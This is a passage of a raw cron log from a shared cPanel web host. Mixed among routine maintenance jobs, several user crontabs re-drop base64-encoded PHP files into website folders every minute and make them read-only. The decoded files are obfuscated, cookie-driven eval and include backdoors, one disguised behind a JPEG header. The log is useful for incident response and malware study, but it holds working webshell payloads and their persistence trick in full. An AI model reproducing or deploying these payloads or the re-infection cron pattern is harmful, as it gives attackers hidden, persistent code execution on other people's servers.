qObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:03:01 medusa CROND[7724]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:03:01 medusa CROND[7729]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:03:01 medusa CROND[7727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:03:01 medusa CROND[7741]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:03:02 medusa CROND[7754]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:04:01 medusa CROND[23802]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:04:02 medusa CROND[23982]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:04:02 medusa CROND[23983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:04:02 medusa CROND[23984]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:04:02 medusa CROND[23985]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:04:02 medusa CROND[23986]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:04:02 medusa CROND[23987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:04:02 medusa CROND[23988]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:04:02 medusa CROND[23996]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:04:02 medusa CROND[23998]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:04:02 medusa CROND[24001]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:04:02 medusa CROND[24006]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:04:02 medusa CROND[24016]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:05:01 medusa CROND[12122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:05:01 medusa CROND[12207]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:05:01 medusa CROND[12319]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:05:01 medusa CROND[12331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:05:01 medusa CROND[12424]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:05:01 medusa CROND[12427]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:05:01 medusa CROND[12428]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:05:01 medusa CROND[12431]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:05:01 medusa CROND[12429]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 09:05:01 medusa CROND[12430]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:05:01 medusa CROND[12435]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:05:01 medusa CROND[12437]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:05:01 medusa CROND[12438]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:05:01 medusa CROND[12439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:05:01 medusa CROND[12445]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:05:01 medusa CROND[12436]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:05:01 medusa CROND[12433]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:05:01 medusa CROND[12447]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:05:02 medusa CROND[12448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:05:02 medusa CROND[12450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:05:02 medusa CROND[12432]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 09:05:02 medusa CROND[12444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:05:02 medusa CROND[12469]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
